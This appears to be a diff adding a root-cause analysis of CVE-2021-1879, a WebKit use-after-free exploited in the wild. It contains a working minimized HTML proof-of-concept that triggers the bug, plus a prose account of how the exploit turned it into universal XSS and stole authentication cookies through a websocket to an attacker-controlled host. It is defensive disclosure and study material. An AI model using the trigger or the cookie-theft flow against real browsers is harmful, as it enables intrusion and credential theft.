| 1 | + | # CVE-2021-1879: Use-After-Free in QuickTimePluginReplacement |
| 2 | + | |
| 3 | + | *Clement Lecigne, Google Threat Analysis Group* |
| 4 | + | |
| 5 | + | ## The Basics |
| 6 | + | |
| 7 | + | **Disclosure or Patch Date:** 26 March 2021 |
| 8 | + | |
| 9 | + | **Product:** Apple WebKit (Safari) |
| 10 | + | |
| 11 | + | **Advisory:** https://support.apple.com/en-us/HT212256 |
| 12 | + | |
| 13 | + | **Affected Versions:** 14.4.1 and previous |
| 14 | + | |
| 15 | + | **First Patched Version:** 14.4.2 |
| 16 | + | |
| 17 | + | **Issue/Bug Report:** https://bugs.webkit.org/show_bug.cgi?id=223561 |
| 18 | + | |
| 19 | + | **Patch CL:** |
| 20 | + | https://github.com/WebKit/WebKit/commit/629d61f760e57cf322288f528a7fcd318dd14327 |
| 21 | + | |
| 22 | + | **Bug-Introducing CL:** |
| 23 | + | https://github.com/WebKit/WebKit/commit/5f980f44880269f6e273853961097fcc55cca094 |
| 24 | + | FIXME added in |
| 25 | + | https://github.com/WebKit/WebKit/commit/9b04ff6bea713b87c903f06b0ac6518bce0d2c4b |
| 26 | + | |
| 27 | + | **Reporter(s):** Clement Lecigne of Google Threat Analysis Group and Billy |
| 28 | + | Leonard of Google Threat Analysis Group |
| 29 | + | |
| 30 | + | ## The Code |
| 31 | + | |
| 32 | + | **Proof-of-concept:** |
| 33 | + | |
| 34 | + | Minimized version created from the original exploit: |
| 35 | + | |
| 36 | + | * index.html: |
| 37 | + | |
| 38 | + | ```html |
| 39 | + | <script> |
| 40 | + | var idd = null; |
| 41 | + | function onl() |
| 42 | + | { |
| 43 | + | idd = document.getElementById("idd"); |
| 44 | + | idd.onload = null; |
| 45 | + | idd.src = 'http://127.0.0.1:8000/exp.html' |
| 46 | + | } |
| 47 | + | function f() |
| 48 | + | { |
| 49 | + | idd.onload = g; |
| 50 | + | idd.src = "http://127.0.0.1:8000/&foo=1"; |
| 51 | + | } |
| 52 | + | function g() |
| 53 | + | { |
| 54 | + | idd.onload = null; |
| 55 | + | document.getElementById("cur").appendChild(document.createElement("a")); |
| 56 | + | } |
| 57 | + | </script> |
| 58 | + | <body> |
| 59 | + | <div id="id1"></div> |
| 60 | + | <div id="cur"></div><br> |
| 61 | + | <video id="vid"></video> |
| 62 | + | <iframe id="idd" style="display:none" onload="onl();"></iframe> |
| 63 | + | </body> |
| 64 | + | ``` |
| 65 | + | |
| 66 | + | * exp.html: |
| 67 | + | |
| 68 | + | ```html |
| 69 | + | <script> |
| 70 | + | var worker = null; |
| 71 | + | function start() |
| 72 | + | { |
| 73 | + | worker = document.getElementById("worker"); |
| 74 | + | window.top.document.getElementById("cur").addEventListener("DOMNodeInserted", callback0); |
| 75 | + | var intl = setInterval(function(){ |
| 76 | + | worker.GetURL.a = 777; |
| 77 | + | window.top.f(); |
| 78 | + | clearInterval(intl); |
| 79 | + | }, 1); |
| 80 | + | } |
| 81 | + | function callback0(ev) { |
| 82 | + | window.requestAnimationFrame(callback); |
| 83 | + | } |
| 84 | + | function gc() { |
| 85 | + | for (let i = 0; i < 0x40; i++) { new ArrayBuffer(0x1000000); } |
| 86 | + | } |
| 87 | + | function callback(ev) { |
| 88 | + | gc(); |
| 89 | + | alert(worker.GetURL.a); // UAF here. |
| 90 | + | } |
| 91 | + | </script> |
| 92 | + | <body onload="start();"> |
| 93 | + | <embed id="worker" src="data:video/mp4;"></embed> |
| 94 | + | </body> |
| 95 | + | ``` |
| 96 | + | |
| 97 | + | **Exploit sample:** N/A |
| 98 | + | |
| 99 | + | **Did you have access to the exploit sample when doing the analysis?** Yes |
| 100 | + | |
| 101 | + | ## The Vulnerability |
| 102 | + | |
| 103 | + | **Bug class:** Use-after-free |
| 104 | + | |
| 105 | + | **Vulnerability details:** |
| 106 | + | |
| 107 | + | The QuickTimePluginReplacement plugin maintains an internal JSC script object |
| 108 | + | instance `m_scriptObject` which is wrongly configured and not properly |
| 109 | + | tracked by the garbage collector. A Use-After-Free can be triggered by referencing |
| 110 | + | external JSValues into the `m_scriptObject`, these JSValues will be freed while |
| 111 | + | calling `window.requestAnimationFrame` but their references will still be available |
| 112 | + | in the `m_scriptOject`. |
| 113 | + | |
| 114 | + | Comments surrounding the declaration of `m_scriptObject` are actually hinting |
| 115 | + | for this wrong behavior. |
| 116 | + | |
| 117 | + | ```c |
| 118 | + | JSC::JSObject* m_scriptObject { nullptr }; // FIXME: Why is it safe to have this pointer here? What keeps it alive during GC? |
| 119 | + | ``` |
| 120 | + | |
| 121 | + | **Patch analysis:** |
| 122 | + | |
| 123 | + | The code of the plugin has been refactored to replace the "custom" `m_scriptObject` |
| 124 | + | instance by a `JSValueInWrappedObject` which is safer to use. |
| 125 | + | |
| 126 | + | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, |
| 127 | + | variant analysis, etc.)_:** |
| 128 | + | |
| 129 | + | Technically this vulnerability could have been discovered via fuzzing but in |
| 130 | + | this specific case the vulnerability was likely discovered by auditing the code |
| 131 | + | manually. The FIXME added by the WebKit developper probably helped the |
| 132 | + | discovery. |
| 133 | + | |
| 134 | + | **(Historical/present/future) context of bug:** |
| 135 | + | |
| 136 | + | This bug was exploited by Russia/[Nobelium](https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/) to target iPhone users from various government officials. [Google TAG Blog](https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks) |
| 137 | + | |
| 138 | + | ## The Exploit |
| 139 | + | |
| 140 | + | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and |
| 141 | + | *exploit flow* are |
| 142 | + | [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) |
| 143 | + | |
| 144 | + | **Exploit strategy (or strategies):** |
| 145 | + | |
| 146 | + | __Under analysis__ |
| 147 | + | |
| 148 | + | The attacker abused the vulnerability to create a type confusion and forge |
| 149 | + | powerful addrof/fakeobj primitives. |
| 150 | + | |
| 151 | + | To ensure stability and avoid crashes during GC, the exploit makes sure to |
| 152 | + | restore previously corrupted objects before continuing further. |
| 153 | + | |
| 154 | + | **Exploit flow:** |
| 155 | + | |
| 156 | + | Once arbitrary read and write is achieved, the exploit modifies the internal |
| 157 | + | state of the renderer to turn the issue into an universal XSS. |
| 158 | + | |
| 159 | + | In order to do this, the exploit is following this flow for each targeted |
| 160 | + | websites. |
| 161 | + | |
| 162 | + | * Create a websocket `w` connected to an attacker controled IP. |
| 163 | + | * Set `m_universalAccess` to 1 inside the SecurityOrigin class by traversing a |
| 164 | + | set of pointers. |
| 165 | + | * Create a new URL object `u` poiting to the targeted domain. |
| 166 | + | * Overwrite all |
| 167 | + | [Document URLS](https://github.com/WebKit/WebKit/blob/88278b55563e5ccdc0b3419c6c391c3becc19e40/Source/WebCore/dom/Document.h#L1728) |
| 168 | + | of the websocket `w` with the ones from the `u` URL. |
| 169 | + | * Overwrite |
| 170 | + | [m_url](https://github.com/WebKit/WebKit/blob/88278b55563e5ccdc0b3419c6c391c3becc19e40/Source/WebCore/dom/Document.h#L1728) |
| 171 | + | field of the websocket `w` with the `u` URL. |
| 172 | + | * Trigger a send on the websocket. |
| 173 | + | * At the end of the websocket, attacker receives requests as they would be |
| 174 | + | delivered to the targeted websites `u` including the authentication cookies |
| 175 | + | for the targeted websites. |
| 176 | + | |
| 177 | + | **Known cases of the same exploit flow:** |
| 178 | + | |
| 179 | + | * Modifying `m_universalAccess` to bypass the same-origin policy is documented in this ["Attacking Javascript Engines" Phrack article](http://phrack.org/papers/attacking_javascript_engines.html). |
| 180 | + | |
| 181 | + | **Part of an exploit chain?** |
| 182 | + | |
| 183 | + | The exploit we discovered was only using this single bug. A sandbox escape was not required. |
| 184 | + | |
| 185 | + | ## The Next Steps |
| 186 | + | |
| 187 | + | ### Variant analysis |
| 188 | + | |
| 189 | + | **Areas/approach for variant analysis (and why):** |
| 190 | + | |
| 191 | + | * To find very close variants, manually review similar issues in the other |
| 192 | + | plugins where `JSC::JSObject` are used. |
| 193 | + | * Manual audit `FIXME` comments left in source code and hinting at |
| 194 | + | potential use-after-free bug. |
| 195 | + | * Fuzz HTML elements with same callback sequences, potentially with a tool |
| 196 | + | like [Domato](https://github.com/googleprojectzero/domato). |
| 197 | + | |
| 198 | + | **Found variants:** N/A |
| 199 | + | |
| 200 | + | ### Structural improvements |
| 201 | + | |
| 202 | + | What are structural improvements such as ways to kill the bug class, prevent the |
| 203 | + | introduction of this vulnerability, mitigate the exploit flow, make this type of |
| 204 | + | vulnerability harder to exploit, etc.? |
| 205 | + | |
| 206 | + | **Ideas to kill the bug class:** |
| 207 | + | |
| 208 | + | **Ideas to mitigate the exploit flow:** |
| 209 | + | |
| 210 | + | * Implementing [site isolation](https://www.chromium.org/Home/chromium-security/site-isolation) in WebKit like it's done in Firefox or Chrome. |
| 211 | + | |
| 212 | + | **Other potential improvements:** N/A |
| 213 | + | |
| 214 | + | ### 0-day detection methods |
| 215 | + | |
| 216 | + | What are potential detection methods for similar 0-days? Meaning are there any |
| 217 | + | ideas of how this exploit or similar exploits could be detected **as a 0-day**? |
| 218 | + | |
| 219 | + | These types of exploits are likely hard to detect generically. |
| 220 | + | |
| 221 | + | ## Other References |
| 222 | + | |
| 223 | + | * July 2021: ["How We Protect Users From 0-Day Attacks"](https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks |
| 224 | + | ) by Google's Threat Analysis Group gives context about how this exploit was used. |
| 225 | + | * February 2020: [Forget the Sandbox Escape: Abusing Browsers from Code Execution](https://www.youtube.com/watch?v=a0yPYpmUpIA) |
| 226 | + | by Amy Burnett |